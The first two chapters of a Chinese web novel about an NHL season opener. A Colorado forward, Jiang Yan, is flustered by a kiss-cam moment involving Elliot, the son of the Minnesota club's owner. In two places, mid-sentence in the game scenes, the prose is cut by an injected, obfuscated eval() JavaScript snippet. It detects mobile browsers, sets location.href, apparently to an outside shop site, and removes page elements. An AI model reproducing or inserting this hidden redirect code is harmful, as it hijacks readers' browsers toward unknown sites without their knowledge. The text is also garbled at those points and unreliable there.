《蜂鸟振翅1000次 [冰球]》 1. 01 江砚 北美洲的冬天从来不缺冰雪,但只有一个季节真正能让整个大陆沸腾。 属于冰球爱好者们的狂欢:NHL赛季开始了。 ---------------- 2025年,10月10日,新赛季揭幕战,明尼苏达州,圣保罗,Xcel能源中心。 场馆内灯火通明,观众席早已喧嚣如海,灯光闪烁。DJ播放着燥到不行的AC/DC金曲,球迷们挥舞着明尼苏达嚎狼队的鲜红色旗帜,集体盯着嚎狼队(Howlers)的入场口,高喊着口号,期待着主场今晚迎接开门红。 “……以上就是Xcel能源中心的后场球员休息室里的大致情况,菲尔。” 一个西装革履的男人拿着一个标有ESPN标志的话筒,从嚎狼队的休息室里走出,站在竞技场的后场通道里:“我相信队员们已经做好了充分准备。” “感谢你的播报,杰拉德。根据刚刚的介绍我们也不难看出,今年NHL赛季嚎狼队的成员组成可以说是历届最强了。”耳中的无线耳机里传出新闻直播间主持人自信满满的声音。 “可以这么说,菲尔。明尼苏达已经接近三十年没有捧起过斯坦利杯了。希望今年的嚎狼队在吸收了去年的NHL选秀榜眼凯勒布·哈特和最近风头正盛的新秀乔什·贝内特后,能在这次2025-2026年的NHL赛季攻进季后赛。”记者的声音和脸上全是遮掩不住的笑意。 “好的。不过今晚我们要面对的客场球队是科罗拉多霜咬队(Frostbite),杰拉德,不要大意。”耳机中主持人的声音忽然变得严肃起来,“他们今晚的阵容也是不容我们小觑的。” “是的,菲尔。”记者也收敛起脸上的笑容,“那边就是霜咬队的休息室,由于时间关系我们就暂且不去打扰了。希望他们今晚也能打出精彩的一战。”他遥指着走廊另一端尽头的休息室说道。 “切,小家子气。”霜咬队的门将米夏透过打开的休息室的门缝偷看走廊上那个记者,瘪了瘪嘴,“他甚至都懒得走到我们这边介绍一下。” “别怨天怨地了,毕竟这里是人家主场。”队长洛根一边在球杆上缠胶布一边招呼米夏关上门。 紧张的气氛弥漫在休息室的空气中,今晚是2025赛季的第一场赛事,他们要面对的还是几十年来的老对手,没一个人想丢份儿。 洛根确保球杆弯曲的那一节已经密密地缠好胶布后,站起身来舒展肢体,双眼四下寻找着这个晚上,不,是这个赛季,他们霜咬队的最强武器。 很快,洛根的眼神锁定了一个方向—— ——江砚。 他正背对着所有队友,坐在角落的长椅上。已经换好了全套装备:头盔、护肩、护肘、手套、冰鞋,怀里还抱着已经缠好胶布的球杆。两只耳朵里塞着AirPodsPro,捧着手机,完全沉浸在自己的世界里。 “在群山与云层之间,被阳光点亮的热带雨林深处,藏着世界上最轻盈、也最倔强的旅者……”手机里正在回放探索频道今天早些时候播出的关于蜂鸟的纪录片。 说实话,以江砚的英语水平,除了能进行简单日常的英语对话和熟识冰球专业术语外,这个纪录片大概三分之一的内容他都听不懂。但球队的霍洛威教练给他交代的就是:赛前看点能让你平心静气的东西,找点什么新鲜的冷知识记在心里念叨念叨分散一下自己的暴脾气,这样也不至于在赛场上一被对方说垃圾话就忍不住上去干仗。 巧了,江砚的从小到大的小习惯就是有事没事看点自然科教纪录片。而现在他身在美国,大赛在即,他只能手机里有什么看什么。 “……这是一种不属于地面的生物,它们在空气里雕刻自己的轨迹,靠双翼和心脏把自己悬挂在世界上。科学家们研究了几十年,终于得出一个让人难以置信的结论:某些蜂鸟在高速飞行时,一分钟能振翅一千次到——” “——砚!”洛根走上来一把拍掉了江砚的耳机,“喊你多少次了,还在这里看视频。赶紧过来!” 看来一时半会是不知道蜂鸟一分钟内能振翅多少次了。 江砚摘下耳机仔细放回盒子收好,扶着球杆站起身子走到休息室中间,和所有的队员围成一个圆。 “看女朋友照片呢?”站在他左手边的好兄弟米夏冲他挤眉弄眼,江砚反手给了他一肘子。 “好了伙计们。”洛根打断了这两个傻小子的胡闹,“今晚不管怎样,我们只需要记住今年的赛季,是霜咬队自从24年前拿下斯坦利杯后有史以来阵容最棒的一届。” 他说着,温暖的榛子色眼睛看向江砚和米夏这两个去年加入霜咬队的新星。 “我们今晚,一定会让嚎狼队在自己家门口颜面扫地。”洛根微笑着说出了残忍的话语。 “对!今晚我们干死那群明尼苏达的小子!”金诺亚——队里的美籍韩裔球员——挥舞着拳头大喊道。 “让凯勒布·哈特吃土去吧!”马泰奥跟着一起扯着嗓子喊了起来。 “在他们家门口干死他们!” “走!!干死他们!!!”(“Let''sf*ckthemup!!!!!“) 一群大小伙子像一群冰原狼一样吼着,大战前的肾上腺素激增带来一阵遍布全身上下的震颤。 ------------------------------------------------------ 原本热闹的场馆忽然亮起了最亮眼的白光灯。原本在营造氛围的炫目的光效瞬间消失。 观众们的喧闹瞬间像一股退去的潮水。所有人都知道:“那群人”要上场了。 屏幕上没有花哨动画,冰面投影也没有特意铺设的花样。只有最基础的白色灯光,和远处客队通道里传来的冰刀敲击地面的声响。 主场MC的语气开始中规中矩地报幕:“现在,让我们欢迎——科罗拉多霜咬队!” 顿时,全场的球迷们本能地开始嘘声:“Booooooo——” 整个明尼苏达州的老对手,多年压着嚎狼队的那支恐怖客场队伍即将出场。 客队通道的阴影里,一束照向出口的白光亮起。一脚冰刀踏出,整座球馆突然安静了一瞬。 霜咬队来了! 他们没有炫酷的出场方式。只有深灰和冰蓝色调的队服,在灯光下冷得像冬夜的刀锋。 替补队员金诺亚和马泰奥以及其他队员已经鱼贯进入替补席坐好,接下来就是首发六人组的出场。 “首先登场的是霜咬队的守门员——30号,米哈伊尔·阿尔乔米耶夫!” 伴随着主场MC的介绍,米夏穿着厚重的门将护具,像一座小型堡垒,从通道深处滑出,黑白头盔在灯下反着冷光。 嘘声瞬间在场馆内炸开。而米夏当没听见似的,滑向禁区,开始做自己的热身动作。 紧接着,MC介绍了出场的两位霜咬队的后卫,他们两个就像两座魁梧的大山,兼具着防守球门和对面球队打架的重任。 这时左前锋伊莱亚斯·林德斯特伦也滑入场内。他同样身材魁梧,肩上护具像铁甲一样宽阔。 他滑出通道时,观众们的的嘘声明显更大。因为所有人都记得,去年他在季后赛狠狠撞飞过嚎狼队的两名后卫。 紧随其后的便是队长——霜咬队的基石和大脑——中锋洛根·皮尔斯。众所周知,霜咬队的队长有一个称号,叫做“圣人”。 这个称号响亮到什么程度呢?即使是在针锋相对了几十年的明尼苏达的主场,在他出场时,全场的嘘声竟然在他温柔的双眼的注视下暂停了片刻。 洛根稳稳地滑入中圈,干净利落,像一台精准的机器。 “现在,让我们有请——”MC拉长腔调,为最后出场的明星球员做足了架势。 这时,整座客队通道陷入了令人紧张又压抑的死寂。 一只冰刀、一抹冰蓝色肩甲伴随着一道黑色剪影,从阴影深处滑出。 江砚低着头,护齿咬在嘴角,速度快得就像像冬夜里的寒风。他滑入冰场的白色灯光的那一瞬间,全场对他嘘声像潮水一样爆了。 “——江砚(JiangYan)!2024年NHL选秀状元!来自中国北方的冰上雄狼!” “大家现在看到的就是霜咬队的右前锋江砚,”刚刚在后场做转播的记者此刻正站在冰场外指挥镜头对准场中央的江砚,拿着话筒激动地播报,“他在去年首次登陆NHL的赛季中(firstNHLseason)试水打出了5+7分的数据,并因此成为本赛季NHL最佳新秀奖的最大热门人选。” 冰场上方那个面对四个方向的大屏幕上适时地出现了江砚的数据榜: JiangYan(RW)—2024–25FirstNHLSeason 15GP|5G|7A|12PTS|24Hits|10PIM “对于新人来说真的是十分亮眼的成绩啊。”耳机里传来ESPN直播间的主持人声音,“今年才刚21岁,在去年的首个NHL赛季的15场比赛里就轰下12粒进球。” “是不,不过也别忘了他还拿下了24次冲撞次数和10分钟的被罚时间。他的脾气可不是那么好惹的。”站在场边的记者捏紧了话筒,暗暗为接下来要出场的主场球队祈祷。 江砚滑到洛根身侧,一手将球杆倒立在冰面,嘴角微微翘起。 这时,竞技场内的灯光忽然开始变得微弱,刚刚还在喝倒彩的观众们陷入打了鸡血般的癫狂状态。 背景音变成北方大风呼啸声、暴风雪声、狼爪刮冰声。 悬挂在冰场上方的大屏幕上忽然出现一行字样: "TONIGHT.THEWOLVESHUNT." 今夜,狼群狩猎。 观众立刻开始学着狼嚎,挥舞着嚎狼队配色的毛巾,敲打栏杆。 嚎狼队的入场口布置了一个巨大的充气狼头拱门,两侧摆着不断喷发的火柱。看台上身材火辣的啦啦队队员们伴随着AC/DC的“T.N.T”扭动着腰肢,开始一段活力四射的劲爆舞蹈。 “让我们欢迎——明尼苏达嚎狼队!!!!”MC拉长声音做足了架势。 伴随着排山倒海般的喝彩和呐喊声,嚎狼队队员一个个按顺序滑出,滑过冰面时LED投影变为被点亮的巨大的雪地里的狼爪印。 场馆的灯光每滑出一名球员就闪一次。 观众疯狂嚎叫:“AWOOOOOOOO——” 整个场馆仿佛在配合着狂乱的心跳一样震动。 “现在让我们用最热烈的欢呼迎接——凯勒布·哈特!!!!!!” MC话音未落,灯光突然切成红色,投影出现一只巨大的黑狼抬头嚎叫。 “T.N.T!I''mdynamite! T.N.T!AndI''llwinthefight! T.N.T!I''mapowerload! T.N.T!Watchmeexplode!“ AC/DC的歌声回荡在场馆内,火焰在入场口两侧爆开。 嚎狼队的明星右前锋凯勒布·哈特从通道滑出时,单手举杆,下巴抬高。冰刀如飞燕一般划过红色嚎狼LED投影,自信地向着观众席挥手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307905|198735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调动气氛。 场馆里的球迷们狂吼他的名字。冰场周围VIP座的狂热女粉们贴在透明亚克力挡板上举着牌子:“凯勒布!!娶我吧!!(CALEB!MARRYME!!)” 凯勒布滑到中圈,冲着冰场上对准他的镜头微微抬眉,眼神带挑衅。 这是嚎狼队的主场王者时刻。 红色的灯光最后一次闪过,凯勒布在中圈举杆向观众转了最后半圈。 “装逼。” 江砚斜着眼睛打量着比自己矮了将近一头的凯勒布,嘴里无声地骂着,转身开始和后卫在冰上绕圈开始热身。洛根也开始在冰面上敲击着球杆调整弯度。 即便是在别人家主场比赛,江砚依然能清晰地感知到:无论自己在冰场上滑到哪个位置,相当一部分观众的眼神死死地黏在自己身上,观察着他的一举一动。 江砚很迷恋这种大战在即,所有人的目光都聚焦在自己身上的感觉。 他曾发过誓,将来在冰面上,只有他才能成为带领全队破敌的王者。 热身时间转瞬即逝,边裁手里托着冰球滑到了赛场中圈。他左右看看两边先发中锋,洛根和嚎狼队的中锋已经弯腰摆好了架势。江砚滑到属于自己的右前锋位置,本想冲着对面的凯勒布留下最后一个挑衅的手势。结果被洛根回头瞪了一眼。 哦哦,对对对……不要心浮气躁。 江砚深吸一口气,弯下腰,拿稳球杆,做好冲刺的姿势。 想想今天在纪录片里看到的冷知识……蜂鸟一分钟内会振翅一千次到多少次来着…… “女士们先生们——你们准备好了吗?”MC的声音通过音响系统炸响,每一个音节都撞击着观众的胸腔。 场内灯光亮如白昼,观众们爆发出海啸般的声浪。 “三!二!一!” 全场集体大吼:“Let’splayhockey!!” 裁判手一松——冰球落下。 第一节正式开始。 ------------------------------------------------------ “你小子真的把他们干疯了你知道吗?!”米夏哈哈大笑,从球队管理师手里接过水壶,“你把他们打懵了!!” 江砚绷着嘴角,靠在后场休息室的墙壁上,努力不让自己在脸上显现出来自大的笑容。 “干得不错!”霍洛威教练从他们后方走了进来,拍了拍江砚的肩膀。此时进入第一小节结束后的中场休息,赛场上DJ正在播放音乐,导播在大屏幕上玩kisscam活跃气氛,“虽然还是进了一次受罚席,但今天你确实比上个赛季沉稳了点。” “何止是沉稳了点?”圣人洛根难得露出兴奋的模样,头盔都没摘,踩着冰刀“哐哐哐”走到江砚身边,抬起手在他脑袋上给了不轻不重的一拳,“他的进步简直是突飞猛进!要是你在新秀赛季也像今晚这么沉稳的话,就不至于拿下四十多分钟的被罚时间了。” 江砚咧嘴一笑:霍洛威教练的叮嘱还是很有效果的。今晚比赛的第一小节里,一开始他还是因为被凯勒布挑衅而过于冲动进了受罚席两分钟。此后他心中一直念叨着“蜂鸟是灵巧的小生物”、“每分钟振翅一千次”等等……结果真就心跳稳健有力,没有再陷入狂乱的节奏,头脑思维也变得更清晰,毫不费力地和洛根配合着向嚎狼队那边送了两粒进球。 “凯勒布的脸都绿了。”左前锋伊莱亚斯的胸腔发出了共鸣的笑声,整个休息室内充满了快活的空气。 洛根微笑着拍拍江砚的肩膀:“尽管如此,你还是要注意。第二节他们会压蓝线,你别太往前冲。” 江砚点点头,摘下头盔,从球队管理师手里接过水壶,抖了抖被汗水打湿的黑发,靠在墙上努力平息自己略微粗重的喘息。 洛根和教练又走到后卫那边去交代等会进入第二小节的注意事项。江砚举起水壶往自己嘴里灌水,抬头看着对面墙壁上挂着的电视里正在转播的中场休息的大屏幕画面,尝试让自己的心跳平复下来。 “要一起去搞点零食和碳酸饮料吗?”米夏卸掉上半身的护甲,摇摇晃晃走到江砚身边问道。 “等会吧,我准备……”江砚看着屏幕上正在转播的kisscam,正觉得好笑时,手上的动作忽然顿住。 一刹那间,耳边米夏聒噪的声音,都仿佛变得远在千里之外。 电视屏幕上,在观众席里扫来扫去的镜头忽然停在一对俊男靓女脸上,一看就是导播最喜欢找的适合接吻的素人。然而那个漂亮姑娘捂住脸尖叫一声,身子往下一出溜躲在椅子下面了。而她身旁那个穿着一身西装的男孩,登时变得面红耳赤,手忙脚乱地冲着镜头比划:“不!不行!” 他用手指拼命地指着躲在椅子下面的女孩:“她是我妹妹!!不能亲!!”他大幅度地用口型示意,整个人红到像刚煮熟的虾子。 全场的观众们通过大屏幕看到这一画面,发出善意的哄笑。 “这哪来的菜鸟?”米夏顺着江砚的目光看向电视,发出一阵爆笑,“没见过谁来看冰球会穿一身西装的。” 江砚没有回应,他也回应不出来了。 仿佛过了一万年,导播已经把镜头移开了,他才如梦初醒般地回过神来。 “操。” 江砚暗骂一声,放下水壶低下脑袋。 这男孩长得真是该死的好看。 “你怎么了?”米夏觉得江砚不对劲,关切地靠近他。 江砚不想说话,因为那颗原本在赛场上稳健跳跃的心脏,此刻如同一分钟振翅一千次的蜂鸟一般,疯狂乱颤着。 2. 02 艾利奥特 You give 艾利奥特是被一阵吵闹的敲门声吵醒的。 “艾尔(艾利奥特的昵称)!!!”他迷迷糊糊地听着远方传来的微弱喊声,只感觉头痛欲裂,“艾尔我知道你在里面!!快开门!!” 等等,那声音有点像他的妹妹。 他从柔软得过分的羽绒被里探出头,眯着眼看向落地窗外的灰蓝色天空—— ——这里不是他在布伦特伍德的顶层复式公寓。 这里是明尼苏达州首府圣保罗的北岸摄政酒店(NorthshoreRegentHotel),是他父亲参股、同时也是明尼苏达最顶级的五星级酒店。 昨晚他从洛杉矶的送别派对一路醉到不省人事地上了私人飞机降落到圣保罗,懒得再回莫里兰德庄园面对他那威严的父亲——威廉·莫里兰德——的审视,让助理直接把他送到他们家族在酒店的长期套房里。 艾利奥特疲惫地揉了揉眉心。尽管套房十分豪华感受不出来室内外温差,但透出来的寒冷氛围和温暖的加州海岸还是大相径庭的。 “艾尔!!!”隔着套房的客厅,他又听到了那阵猛烈的敲门声,以及门板外妹妹的喊叫。 “来了……来了……”艾利奥特张开嘴尝试发出声音,却沙哑得就像十年没喝水似的。 他手脚并用地从大床上爬起来,皱着眉头发现自己还穿着昨天派对上的夏威夷衬衫,身上还有一股子龙舌兰气息。 套房门被打开,海莉一手提着她的LV化妆包,一手拉着日默瓦行李箱,皱起小脸上下打量着艾利奥特:“我的老天,你昨晚玩得到底有多疯啊?” “早上好……海莉……”艾利奥特揉着脸颊,“我也不知道,我才喝到第二杯的时候就失去意识了。” “首先,现在已经是下午了。然后,亲爱的好哥哥,你不一直都是乖孩子吗?怎么突然就变成了这种派对狂人。”海莉毫不客气地挤进套房,“赶紧去洗个澡,你已经浑身发臭了。” “昨天那是给我办的送别派对,平常我不会喝这么大……”艾利奥特关上门,缓慢地意识到海莉已经坐到沙发上在套房的玻璃咖啡桌上铺满了自己的各种化妆品。 “等一下……”他站在原地,努力平稳自己想要呕吐的冲动,“你怎么突然过来了?今天周几?你不去上课吗?” “唉,”海莉停下正要给自己画眼线的手,夸张地叹了口气,“你忘了我今年已经开始上大学了?” “哦对,我一直以为你会留级来着。真是奇迹,你这种成绩竟然也能上大学。虽然不是藤校而是明尼苏达大学,而且还是在咱爸给学校捐了图书馆的情况下。”艾利奥特挠挠头,走到海莉身边蹲下来,半眯着眼睛打量着咖啡桌上的化妆品。 “不是所有人都能跟你一样,从小学习成绩就好,不费吹灰之力就能进USC,还能轻松拿下UCLA的MBA学位。”海莉拿起眼影刷不耐烦地冲艾利奥特甩了甩,“离我远点,你臭死了!快去洗澡!!” 艾利奥特确实也不喜欢自己身上的味道,他站起身子摇摇晃晃向浴室走去:“你还是没跟我说为什么突然过来找我?而且你今天到底有什么安排?” 海莉翻了个白眼:“就这么说吧……咱爸把我的卡给停了。” 艾利奥特去拿浴巾的手停了一下,转头看向海莉,“这是怎么回事?” “你昨晚看来是喝的真大啊,没看新闻吗?”海莉停下涂眼影的手,放下眼影刷,从包里掏出手机,“TikTok、Reddit还有Instagram和Thread上都传遍了。” 艾利奥特赤着脚踩着厚实的地毯走了回来,从海莉手里接过手机,一条一条划过屏幕上海莉在夜店外和嚎狼队的的王牌中锋乔什·贝内特拥抱接吻的照片。 “哇哦,你现在和乔什·贝内特开始约会了?”他笑着把手机递了回去,“怪不得咱爸会把你的卡给停了。乔什这小子没有被开除就算不错了,竟然敢和自己所在的球队俱乐部老板的女儿约会。” 海莉把手机甩到一边:“我本来想一直保持地下恋情的,等嚎狼队拿回斯坦利杯、乔什拿到属于他的冠军戒指后再跟咱爸坦白这件事。结果昨晚实在是大意了才被狗仔拍到这些照片。” “那你就好好哄哄咱爸呗,到我这儿来干什么?”艾利奥特倒是没有什么感觉,海莉从小到大交往过的男友已经两只手数不过来了,每个男孩交往的时间都不会超过三个月,这个打冰球的男孩估计也不例外。 “你不明白,他给我禁足了,把我的VIP通行证也给没收了。”海莉涂抹眼影的手法越来越暴力,“可是今晚不行你知道吗?今晚是揭幕战,嚎狼队对霜咬队,这可是我们俱乐部的死对头!我好不容易才溜出来的,今晚必须得去支持我男朋友!而你!”她转头瞪着艾利奥特,“你今晚必须负责用你的VIP通行证把我带进去!而且你最好别给我也来咱爸那一套,什么‘你应该好好待家里’之类的。” “你放心,我绝对不会。”艾利奥特只花了一秒就接受了海莉的要求,他从小到大都是这么过来的,“我已经将近十年没和他一起生活过了,咱妈把我教养得很好。”他从边柜里拿起一条浴巾走进浴室。 “真希望我也是这样。”海莉叹了口气,拿起化妆镜继续攻克自己的眼妆。 ------------------------------------------------------ 等到艾利奥特洗完澡、换好衣服出来后,化好妆的海莉还在纠结今晚穿哪件衣服。 “越朴素越好,你打扮得光鲜靓丽往VIP座那里一坐,肯定会被镜头拍到,然后咱爸就会在电视上看到你。”艾利奥特从冰柜里拿出一罐可乐,随手拿起遥控器打开套房客厅里的电视,仰倒在沙发上。 “还好意思说我,看看你自己的打扮。”海莉嫌弃地对着艾利奥特指指点点。 艾利奥特躺在沙发扶手上低头打量自己一眼:“怎么了?这可是BrunelloCucinelli。”他说着,手指上下展示了一番自己身上的定制西装,“咱妈送我的。” “好吧,你个妈宝男。”海莉的声音里有掩饰不住的醋意。 兄妹俩的父母十年前就和平离婚了。他们那位优雅的母亲获得了脾气更温和的艾利奥特的抚养权并搬去了洛杉矶,而热爱运动活力满满的海莉则留在了明尼苏达和那个有着自己冰球俱乐部的老爸一起生活。尽管海莉和他们爸爸平时的关系并不算差,但她还是会时不时的想念在母亲身边的感觉。 不过还好,艾利奥特给她的疼爱并不逊于他们父母,要不然她也不会这么依赖这个好脾气的哥哥。 “你说的其实有点道理,”海莉打量着落地穿衣镜里自己身着性感吊带长裙的模样,“乔什肯定更喜欢我打扮成邻家女孩的风格。” “并不是很想听你们小情侣之间的情趣。”艾利奥特兴致缺缺地啜饮着可乐,心不在焉地按着遥控器换到探索频道——正在播一部关于蜂鸟的自然纪录片。 “而你,这个穿正装去看冰球比赛、看纪录片打发时间的人,又何来‘情趣’可言?”海莉摘下纤长脖颈上的钻石项链,“我问你,自从你和上一任女友分手后,单身多久了。” 艾利奥特瘪瘪嘴:“也就一年左右,怎么了?” “你也不看看你的条件,一年的空窗期对于你这种富家少爷来说简直就是离谱。”海莉一把扯下长裙,蹲在行李箱边掏出一件Aritzia的奶油色卫衣和一条Alo的打底裤,“咱爸还指望着你尽早结婚生子呢。” “不是我不想谈恋爱,而是我在谈的时候根本就没有喜欢的感觉。”艾利奥特看着电视屏幕上的蜂鸟有一搭没一搭地和海莉聊天,“我觉得‘喜欢’就应该是很浪漫的,比如一眼心动、奋不顾身那种。可是我直到现在,也没有拥有过一次这样的感情冲击。” 他放下可乐,长长地叹气:“我不是冷淡,也不是不行,我只是没有体会过‘想爱那个人爱到浑身被点燃’的感觉。” 艾利奥特说着,脑海中回忆起一年前,当时的女友跟自己提出分手时的情景。 “你对我太温柔了,像对朋友一样。” “你不是不爱我,你只是不知道什么是爱。” “行了,卡萨诺瓦。”换好衣服的海莉走了过来,一把把陷入伤春悲秋情绪的哥哥从沙发上拽了起来,“既然你不急着找对象,那就把想见对象的妹妹送到竞技场去吧。” ------------------------------------------------------ “啊哦……”当艾利奥特把他那辆冰川白的保时捷Taycan开进Xcel能源中心的VIP通道,透过挡风玻璃看清楚面前那辆车时不禁发出一声低呼。 “怎么了?”正准备解开安全带的海莉闻声也顺着挡风玻璃看出去,“哦我的天啊……” “咱爸今天也来了。”艾利奥特看着那辆停在他们前方的黑色的林肯Navigator,威廉·莫里兰德从车上下来冲着给他开门的工作人员点头示意,“他今晚来看揭幕战了,肯定会坐VIP席。咱今晚去不成了,一定会被他抓包。” “不行不行不行……”海莉惊慌失措地抓着艾利奥特的手腕,“今晚可是乔什最重要的比赛之一,我不能不支持他。” 艾利奥特其实很想问问海莉:你到底才和他交往多久就这么上心?但是天晓得,他从小到大有多宠爱这个妹妹,他从来都不会对海莉说一个“不”字。 “好吧。”艾利奥特旋转方向盘,绕了一圈开出VIP专属停车场,“那我们就去看台坐着,行吧?” 俱乐部公子的身份让艾利奥特毫不费力地从负责人那里获得两张连在一起的看台票,兄妹俩互相挽着胳膊,一溜小跑跟随着兴奋的球迷和观众们穿过通道来到了他们的位置上。 “从来没从这个角度看过冰球比赛。”海莉站在高高的看台上,居高临下地看着那片冰场。大屏幕上正在播放广告和球员们的采访片段,DJ正在播放SabrinaCarpenter的音乐活跃气氛。 “而我是从来没来现场看过冰球比赛。”艾利奥特皱眉说道。身处在这么一个气氛热烈的现场,他这具还没彻底从宿醉中恢复过来的身体略感不适。 “你不是从没看过现场,你是从来就没看过冰球比赛。”海莉拉着艾利奥特在冰冷的塑料椅子上坐好,“真不敢相信咱爸竟然想把你培养成接班人,你根本就不对冰球感兴趣。” “要是你的成绩很好,他肯定就会培养你的。”艾利奥特随口应付道,别扭地在椅子里调整自己的坐姿。 一个穿着制服抱着托盘的流动贩卖员经过他们身边,灵活得像在走钢丝。海莉伸手拦下了他,艾利奥特掏钱给妹妹买了大份爆米花和冰可乐,给自己来了杯解酒的冰柠檬水。 “啊啊啊啊要来了。”海莉抓着艾利奥特端着柠檬水的手腕,“他们要出场了。” 艾利奥特的眉头能拧成一个大疙瘩。他从没看过冰球比赛,更没在现场经历过这种能把人天灵盖轰开的出场仪式。身边的海莉早已忘了身边还有个什么都看不懂的哥哥,在她的亲亲男友乔什·贝内特从主场通道里滑出来时,她的尖叫几乎把艾利奥特的耳膜穿出一个洞来。而那些一个一个在冰面上飞速滑来滑去的球员让艾利奥特的眼神更是应接不暇,还没反应过来这边呢,那边又窜出来个人影。 “呃……你能不能给我来一个冰球入门教学101?这样我也不至于在陪你看比赛时什么也不明白。”趁着球员们在停止滑动,一个艾利奥特不怎么了解的二流女歌手站在冰场中间唱完美国国歌后,艾利奥特终于找到时机贴在海莉耳边说道。 “好吧哥哥,快速教程来了。”海莉兴奋地紧紧揽着哥哥的胳膊,指着那些已经摆好姿势准备开赛的球员,在他耳边压低声音: “冰场分为左右两边,中间那条大红线,叫中线,用来判断是否越位冰。咱家嚎狼队在这边,霜咬队在那边。” 她又伸手指着红线两边的线条:“靠近两边的蓝线——蓝区、攻区、防区,全靠它们划分区域。越过所有人把球打到对面去叫越位冰(icing),会被吹罚。” 裁判滑到了冰场中央,两边球员做好了准备。 “你看到冰场中心最前面的那三个球员了吗?那就是前锋。每个球队都有三个前锋,左边一个,右边一个,中间那个是中锋。中锋负责开球、控球、传球,还得帮忙防守,是球队的大脑。”海莉甜甜一笑,“我们队的明星球员是那个叫凯勒布·哈特的右前锋,而我的宝贝乔什就是嚎狼队的王牌中锋。” 冰球落下,比赛开始。那个小小的黑色圆块几乎瞬间消失,被球杆不知打往何处了。 艾利奥特努力让自己的视线跟上冰球的运动轨迹,“那边那个15号球员,冲得像要撞烂所有人的,是谁?” “呵,那是霜咬队的右前锋江砚,”海莉看着以破竹之势穿过嚎狼队阵营用球杆拨回冰球的江砚,忍不住翻了个白眼,“我们等会儿再骂他。” 看着海莉那咬牙切齿的模样,艾利奥特猜测这个对方的右前锋肯定在冰场上欺负过乔什。 “比赛其实很简单,艾尔。记三个词:冲、传、射。”海莉伸长脖子看着冰场上激烈的赛况,神情激动,但还不忘了给哥哥继续讲解,“前锋冲进去、中锋控球传球、找机会射门。后卫负责补位,不让对面反击。” 她伸手指向嚎狼队那边的球员:“后面那两个,他们专门堵在蓝线那里,那是守线的后卫。负责挡人、断球、拦截、补位。” 艾利奥特点点头:“所以他们是保护门将的?” “对!而球门跟前那个穿得像铁罐头似的那位,就是门将。”海莉叉着腰,“门将最辛苦,他们没有替补,所有东西都往他们脸上砸。” 艾利奥特的眼睛已经找不到冰球在哪儿了,他收回视线看向对面的霜咬队:“他们那边挺冲的哈。” “就是很冲!!”海莉似乎被吐槽到心窝里去了,“去年的赛季里乔什就被那个叫江砚的撞飞过三次。再撞一次我就下去掐死他。” “我不明白,”艾利奥特摇摇头,“为什么要撞来撞去?” “抢位置、抢球、气对方、吓对方、顺便打个小架呗。”海莉注意到艾利奥特的眼神,耸耸肩,“拜托,你别告诉我你不知道冰球比赛是可以打架的。” “这个我还真不太了解,我个人毕竟还是不太支持暴力……”艾利奥特话还没说完,那边传来一声尖锐的哨响—— “——霜咬队15号,前锋干扰(Interference)。两分钟受罚!” 全场嚎狼队球迷爆发出一阵嘘声与欢呼:“Sendhimtothebox!!” 江砚冷着脸滑向受罚席,一屁股坐下,摘下头盔狠狠甩在腿边。凯勒布耀武扬威地从他面前滑了过去,刚刚故意抬杆勾住江砚手腕引得他忍不住冲自己骂脏话的战术果然奏效。 海莉托着下巴叹气:“完了,他上火了。” 艾利奥特从海莉大腿上的爆米花桶里掏爆米花塞自己嘴里:“发生什么了?” 海莉立刻进入讲解模式,语速飞快:“就这么说吧,我们现在是‘强打’(PowerPlay)。对方的江砚被罚下场,我们就变成五打四了。嚎狼队现在人数多优势大,所以我们会疯狂扑到霜咬门前找空档射门。” “那……咱们队很容易进球?”艾利奥特有点紧张地盯着受罚席那个背对着他们坐着的黑发背影,“是好事啊。” “对。你看——来了来了来了!!” 像是听到了祝福似的,嚎狼队在蓝线完成了一次漂亮的传递:右侧后卫吸引防守、横传中路、中锋立刻回做左翼。 乔什于左侧圆顶蓄力一记顺势抽射! 冰球如炮弹般飞出。 米夏猛地扑向右侧,却还是慢了半秒—— 嘭! 冰球钻入网窝,整座竞技场瞬间爆炸: “GOOOOAL!!!” 灯光闪烁,狼嚎声响彻整个场馆。 海莉跳得爆米花都散出来:“乔什!!!!!!我男朋友太帅了!!!!” 艾利奥特点点头“……所以这就是强打。” 海莉:“对!但是你等着,江砚等一下肯定要干回来的。他那脾气,被进了球绝不会忍。” 她还没把话说完,受罚时间已经结束了。那扇透明的门被打开,江砚像被放出笼的猛兽一般,带上头盔滑了出去。 “啊……他回来了。”艾利奥特伸手指着江砚的背影。 几乎电光火石之间,霜咬队便夺回了控球权,中锋洛根向前推进,吸引两名嚎狼队后卫。江砚并没有冲到最深处,而是突然从右侧加速绕出一个弧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307906|198735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线,速度快得像一道撕裂空气的冰光。 艾利奥特屏住了呼吸:“他……速度好快……” 海莉紧张得声音开始颤抖:“我说了吧,他现在是要报复了!” 洛根眼角瞥见江砚闪开的路线,球杆轻轻一拨—— ——冰球从两名后卫之间穿过,精准地飞向江砚的冰刀刀锋跟前。 江砚没有停球,顺势抬杆。 啪! 冰球直挂球门右上角,网绳被震得猛地一抖。 场馆瞬间从刚才的嚎叫变成震惊的寂静。 然后爆发出全场混合的惊呼声。 “Holysh—!看看他这记射门!!”现场MC大声惊呼。 江砚举杆,没有庆祝,只是冷冷地看了眼嚎狼队的替补席。 